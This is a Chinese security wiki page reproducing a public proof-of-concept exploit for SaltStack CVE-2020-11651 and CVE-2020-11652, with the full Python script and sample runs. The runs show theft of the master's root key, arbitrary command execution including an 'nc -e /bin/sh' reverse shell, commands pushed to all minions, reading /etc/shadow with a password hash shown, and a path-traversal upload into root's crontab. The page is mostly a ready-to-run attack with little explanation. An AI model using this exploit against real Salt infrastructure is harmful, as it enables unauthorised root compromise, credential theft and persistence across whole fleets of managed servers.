menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-11651)SaltStack远程命令执行漏洞 chevron_right (CVE-2020-11651)SaltStack远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-11651)SaltStack远程命令执行漏洞.md
    15.75 KB / 2021-07-15 20:02:49
        (CVE-2020-11651)SaltStack远程命令执行漏洞
    ===========================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    SaltStack \< 2019.2.4SaltStack \< 3000.2
    
    三、复现过程
    ------------
    
    ### Usage
    
    默认操作(不带参数)是获取给定主机的密钥:
    
        root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
        [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
        [+] Salt version: 3000.1
        [ ] This version of salt is vulnerable! Check results below
        [+] Checking salt-master (192.168.115.130:4506) status... ONLINE
        [+] Checking if vulnerable to CVE-2020-11651...
        [*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
        root@kalimah:~/salt#
    
    在主机上执行任意命令:
    
        root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
        [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
        [+] Salt version: 3000.1
        [ ] This version of salt is vulnerable! Check results below
        [+] Checking salt-master (192.168.115.130:4506) status... ONLINE
        [+] Checking if vulnerable to CVE-2020-11651...
        [*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
        [+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
        [+] Successfully scheduled job: 20200504153851746472
        root@kalimah:~/salt#
    
    The same, but on all minions:
    
        root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
        [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
        [+] Salt version: 3000.1
        [ ] This version of salt is vulnerable! Check results below
        [+] Checking salt-master (192.168.115.130:4506) status... ONLINE
        [+] Checking if vulnerable to CVE-2020-11651...
        [*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
        [!] Lester, is this what you want? Hit ^C to abort.
        [+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
        [+] Successfully submitted job to all minions.
        root@kalimah:~/salt#
    
    任意文件读取:
    
        root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
        [+] Salt version: 2019.2.0
        [ ] This version of salt is vulnerable! Check results below
        [+] Checking salt-master (192.168.115.130:4506) status... ONLINE
        [+] Checking if vulnerable to CVE-2020-11651...
        [*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
        [+] Attemping to read /etc/shadow from 192.168.115.130
        root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
        daemon:*:17785:0:99999:7:::
        bin:*:17785:0:99999:7:::
        sys:*:17785:0:99999:7:::
        sync:*:17785:0:99999:7:::
        games:*:17785:0:99999:7:::
        man:*:17785:0:99999:7:::
        [...]
    
    可以使用`--upload src`和`--upload dest`上传文件。注意目标必须是相对路径:
    
        root@kalimah:~/salt#  python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
        [+] Salt version: 2019.2.0
        [ ] This version of salt is vulnerable! Check results below
        [+] Checking salt-master (127.0.0.1:4506) status... ONLINE
        [+] Checking if vulnerable to CVE-2020-11651...
        [*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
        [-] Destination path must be relative
        [+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
        [ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root
    
    ### Requirements
    
    -   Python 2 or 3
    -   Salt (`pip3 install salt`)
    
    ### poc
    
        #!/usr/bin/env python
        #
        # Exploit for CVE-2020-11651 and CVE-2020-11652
        # Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
        # This exploit is based on this checker script:
        # https://github.com/rossengeorgiev/salt-security-backports
    
        from __future__ import absolute_import, print_function, unicode_literals
        import argparse
        import datetime
        import os
        import os.path
        import sys
        import time
    
        import salt
        import salt.version
        import salt.transport.client
        import salt.exceptions
    
        def init_minion(master_ip, master_port):
            minion_config = {
                'transport': 'zeromq',
                'pki_dir': '/tmp',
                'id': 'root',
                'log_level': 'debug',
                'master_ip': master_ip,
                'master_port': master_port,
                'auth_timeout': 5,
                'auth_tries': 1,
                'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
            }
    
            return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
    
        # --- check funcs ----
    
        def check_salt_version():
          print("[+] Salt version: {}".format(salt.version.__version__))
    
          vi = salt.version.__version_info__
    
          if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
             return True
          else:
             return False
    
        def check_connection(master_ip, master_port, channel):
          print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
          sys.stdout.flush()
    
          # connection check
          try:
            channel.send({'cmd':'ping'}, timeout=2)
          except salt.exceptions.SaltReqTimeoutError:
            print("OFFLINE")
            sys.exit(1)
          else:
            print("ONLINE")
    
        def check_CVE_2020_11651(channel):
          print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
          sys.stdout.flush()
          # try to evil
          try:
            rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
          except salt.exceptions.SaltReqTimeoutError:
            print("YES")
          except:
            print("ERROR")
            raise
          else:
              pass
          finally:
            if rets:
              root_key = rets[2]['root']
              return root_key
    
          return None
    
        def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
          print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
          sys.stdout.flush()
    
          # try read file
          msg = {
            'cmd': 'get_token',
            'arg': [],
            'token': top_secret_file_path,
          }
    
          try:
            rets = channel.send(msg, timeout=3)
          except salt.exceptions.SaltReqTimeoutError:
            print("YES")
          except:
            print("ERROR")
            raise
          else:
            if debug:
              print()
              print(rets)
            print("NO")
          
        def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
          print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
          sys.stdout.flush()
    
          # try read file
          msg = {
            'key': root_key,
            'cmd': 'wheel',
            'fun': 'file_roots.read',
            'path': top_secret_file_path,
            'saltenv': 'base',
          }
    
          try:
            rets = channel.send(msg, timeout=3)
          except salt.exceptions.SaltReqTimeoutError:
            print("TIMEOUT")
          except:
            print("ERROR")
            raise
          else:
            if debug:
              print()
              print(rets)
            if rets['data']['return']:
              print("YES")
            else:
              print("NO")
    
        def check_CVE_2020_11652_write1(debug, channel, root_key):
          print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
          sys.stdout.flush()
    
          # try read file
          msg = {
            'key': root_key,
            'cmd': 'wheel',
            'fun': 'file_roots.write',
            'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
            'data': 'evil',
            'saltenv': 'base',
          }
    
          try:
            rets = channel.send(msg, timeout=3)
          except salt.exceptions.SaltReqTimeoutError:
            print("TIMEOUT")
          except:
            print("ERROR")
            raise
          else:
            if debug:
              print()
              print(rets)
    
            pp(rets)
            if rets['data']['return'].startswith('Wrote'):
              try:
                os.remove('/tmp/salt_CVE_2020_11652')
              except OSError:
                print("Maybe?")
              else:
                print("YES")
            else:
              print("NO")
    
        def check_CVE_2020_11652_write2(debug, channel, root_key):
          print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
          sys.stdout.flush()
    
          # try read file
          msg = {
            'key': root_key,
            'cmd': 'wheel',
            'fun': 'config.update_config',
            'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
            'yaml_contents': 'evil',
            'saltenv': 'base',
          }
    
          try:
            rets = channel.send(msg, timeout=3)
          except salt.exceptions.SaltReqTimeoutError:
            print("TIMEOUT")
          except:
            print("ERROR")
            raise
          else:
            if debug:
              print()
              print(rets)
            if rets['data']['return'].startswith('Wrote'):
              try:
                os.remove('/tmp/salt_CVE_2020_11652.conf')
              except OSError:
                print("Maybe?")
              else:
                print("YES")
            else:
              print("NO")
    
        def pwn_read_file(channel, root_key, path, master_ip):
            print("[+] Attemping to read {} from {}".format(path, master_ip))
            sys.stdout.flush()
    
            msg = {
                'key': root_key,
                'cmd': 'wheel',
                'fun': 'file_roots.read',
                'path': path,
                'saltenv': 'base',
            }
    
            rets = channel.send(msg, timeout=3)
            print(rets['data']['return'][0][path])
    
        def pwn_upload_file(channel, root_key, src, dest, master_ip):
            print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
            sys.stdout.flush()
    
            try:
                fh = open(src, 'rb')
                payload = fh.read()
                fh.close()
            except Exception as e:
                print('[-] Failed to read {}: {}'.format(src, e))
                return
    
            msg = {
                'key': root_key,
                'cmd': 'wheel',
                'fun': 'file_roots.write',
                'saltenv': 'base',
                'data': payload,
                'path': dest,
            }
    
            rets = channel.send(msg, timeout=3)
            print('[ ] {}'.format(rets['data']['return']))
    
        def pwn_exec(channel, root_key, cmd, master_ip, jid):
            print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
            sys.stdout.flush()
    
            msg = {
                'key': root_key,
                'cmd': 'runner',
                'fun': 'salt.cmd',
                'saltenv': 'base',
                'user': 'sudo_user',
                'kwarg': {
                    'fun': 'cmd.exec_code',
                    'lang': 'python',
                    'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
                },
                'jid': jid,
            }
    
            try:
                rets = channel.send(msg, timeout=3)
            except Exception as e:
                print('[-] Failed to submit job')
                return
    
            if rets.get('jid'):
                print('[+] Successfully scheduled job: {}'.format(rets['jid']))
    
        def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
            print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
            sys.stdout.flush()
    
            msg = {
                'key': root_key,
                'cmd': '_send_pub',
                'fun': 'cmd.run',
                'user': 'root',
                'arg': [ "/bin/sh -c '{}'".format(cmd) ],
                'tgt': '*',
                'tgt_type': 'glob',
                'ret': '',
                'jid': jid
            }
    
            try:
                rets = channel.send(msg, timeout=3)
            except Exception as e:
                print('[-] Failed to submit job')
                return
            finally:
                if rets == None:
                    print('[+] Successfully submitted job to all minions.')
                else:
                    print('[-] Failed to submit job')
    
    
        def main():
            parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
            parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
            parser.add_argument('--port', '-p', dest='master_port', default='4506')
            parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
            parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
            parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
            parser.add_argument('--read', '-r', dest='read_file')
            parser.add_argument('--upload-src', dest='upload_src')
            parser.add_argument('--upload-dest', dest='upload_dest')
            parser.add_argument('--exec', dest='exec', help='Run a command on the master')
            parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
            args = parser.parse_args()
    
            print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
            time.sleep(1)
    
            # Both src and destination are required for uploads
            if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
                print('[-] Must provide both --upload-src and --upload-dest')
                sys.exit(1)
    
            channel = init_minion(args.master_ip, args.master_port)
    
            if check_salt_version():
               print("[ ] This version of salt is vulnerable! Check results below")
            elif args.force:
               print("[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.")
            else:
               sys.exit()
    
            check_connection(args.master_ip, args.master_port, channel)
            
            root_key = check_CVE_2020_11651(channel)
            if root_key:
                print('\n[*] root key obtained: {}'.format(root_key))
            else:
                print('[-] Failed to find root key...aborting')
                sys.exit(127)
    
            if args.run_checks:
                # Assuming this check runs on the master itself, create a file with "secret" content
                # and abuse CVE-2020-11652 to read it.
                top_secret_file_path = '/tmp/salt_cve_teta'
                with salt.utils.fopen(top_secret_file_path, 'w') as fd:
                    fd.write("top secret")
    
                # Again, this assumes we're running this check on the master itself
                with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
                    root_key = keyfd.read()
    
                check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
                check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
                check_CVE_2020_11652_write1(debug, channel, root_key)
                check_CVE_2020_11652_write2(debug, channel, root_key)
                os.remove(top_secret_file_path)
                sys.exit(0)
    
            if args.read_file:
                pwn_read_file(channel, root_key, args.read_file, args.master_ip)
    
            if args.upload_src:
                if os.path.isabs(args.upload_dest):
                    print('[-] Destination path must be relative; aborting')
                    sys.exit(1)
                pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)
    
    
            jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())
    
            if args.exec:
                pwn_exec(channel, root_key, args.exec, args.master_ip, jid)
    
            if args.exec_all:
                print("[!] Lester, is this what you want? Hit ^C to abort.")
                time.sleep(2)
                pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)
    
    
        if __name__ == '__main__':
            main()
    
    
    links
    file_download